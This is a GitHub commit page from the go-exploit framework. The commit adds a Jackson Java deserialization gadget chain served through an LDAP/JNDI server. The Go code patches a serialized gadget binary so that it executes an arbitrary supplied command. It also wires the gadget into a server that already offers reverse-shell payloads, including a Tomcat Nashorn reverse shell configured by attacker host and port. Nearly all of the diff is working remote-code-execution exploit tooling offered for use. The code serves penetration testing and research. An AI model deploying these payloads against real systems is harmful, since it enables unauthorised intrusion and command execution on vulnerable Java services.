Skip to content

Commit 834c00e

Browse files
authored
Merge pull request #464 from vulncheck-oss/jackson
Add Jackson gadget chain with JNDI/LDAP support
2 parents 2284d77 + e7cf429 commit 834c00e

File tree

3 files changed

+37
-3
lines changed

3 files changed

+37
-3
lines changed

java/gadgets/Jackson.bin

3.92 KB
Binary file not shown.

java/javagadget.go

Lines changed: 25 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -431,7 +431,7 @@ func Commons10CommandBytecode(commandStr string) (string, error) {
431431
//
432432
// Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "<base_url>" and "<classname>".
433433
func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) {
434-
// 16-bit unsigned integer
434+
// 16-bit (short) unsigned integer (big-endian)
435435
if len(baseURL) < 1 || len(baseURL) > 65535 {
436436
return "", ErrorInvalidCallbackArg("baseURL must be between 1 and 65535 characters")
437437
} else if len(className) < 1 || len(className) > 65535 {
@@ -451,6 +451,30 @@ func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) {
451451
return gadget, nil
452452
}
453453

454+
// https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/blob/f9e097041b08d48289c3dae004996caa28718184/src/main/java/payloads/Jackson.java
455+
func JacksonGenericCommand(cmd string) (string, error) {
456+
// 16-bit (short) unsigned integer (big-endian)
457+
if len(cmd) < 1 || len(cmd) > 65535 {
458+
return "", ErrorInvalidCommandLength("cmd must be between 1 and 65535 characters")
459+
}
460+
461+
// $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -D Jackson -C "touch /tmp/vulnerable"
462+
gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "Jackson.bin"))
463+
if err != nil {
464+
return "", fmt.Errorf("failed to read gadget: %w", err)
465+
}
466+
467+
gadget := string(gadgetBytes)
468+
gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd)
469+
const (
470+
arraySizeWithCommand = "\x00\x00\x06\x54" // 1620
471+
arraySizeWithoutCommand = 1599
472+
)
473+
gadget = strings.ReplaceAll(gadget, arraySizeWithCommand, transform.PackBigInt32(arraySizeWithoutCommand+len(cmd)))
474+
475+
return gadget, nil
476+
}
477+
454478
// This is a serialized java reverse shell. The gadget was generated by ysoserial
455479
// but using the code in this pull https://github.com/frohoff/ysoserial/pull/96
456480
// and updated to make it easy to swap in the desired lhost+lport of our choosing

java/ldapjndi/ldapjndi.go

Lines changed: 12 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@ import (
2222

2323
message "github.com/lor00x/goldap/message"
2424
ldap "github.com/vjeantet/ldapserver"
25+
"github.com/vulncheck-oss/go-exploit/java"
2526
"github.com/vulncheck-oss/go-exploit/output"
2627
)
2728

@@ -38,6 +39,8 @@ const (
3839
BeanUtils194GenericBash GadgetName = 3
3940
// load class via an HTTP server.
4041
HTTPReverseShell GadgetName = 4
42+
// See implementation in java.JacksonGenericCommand.
43+
JacksonGenericCommand GadgetName = 5
4144
)
4245

4346
// a dirty way to pass the user's desired gadget to `handleBind`.
@@ -111,7 +114,7 @@ func CreateLDAPServer(name string) *ldap.Server {
111114
return server
112115
}
113116

114-
func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, command string) {
117+
func SetLDAPGadget(gadget GadgetName, binary, lhost string, lport int, command string) {
115118
switch gadget {
116119
case TomcatNashornReverseShell:
117120
GlobalSerializedPayload = createTomcatNashornReverseShell(binary, lhost, lport)
@@ -121,6 +124,11 @@ func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, co
121124
GlobalSerializedPayload = createGroovyGenericBash(command)
122125
case BeanUtils194GenericBash:
123126
GlobalSerializedPayload = createBeanUtils194GenericBash(command)
127+
case JacksonGenericCommand:
128+
var err error
129+
if GlobalSerializedPayload, err = java.JacksonGenericCommand(command); err != nil {
130+
output.PrintFrameworkError(err.Error())
131+
}
124132
case HTTPReverseShell:
125133
fallthrough
126134
default:
@@ -140,6 +148,8 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin
140148
fallthrough
141149
case BeanUtils194GenericBash:
142150
fallthrough
151+
case JacksonGenericCommand:
152+
fallthrough
143153
default:
144154
output.PrintFrameworkError("Invalid payload")
145155

@@ -166,7 +176,7 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin
166176
// "10.9.49.242" -> lhost
167177
// 1270 -> lport
168178
// The change in size will then be accounted for in the padding variable.
169-
func createTomcatNashornReverseShell(binary string, lhost string, lport int) string {
179+
func createTomcatNashornReverseShell(binary, lhost string, lport int) string {
170180
shellPayload := "\xac\xed" +
171181
"\x00\x05\x73\x72\x00\x1d\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65" +
172182
"\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x52\x65\x73\x6f\x75\x72\x63\x65" +

0 commit comments

Comments
 (0)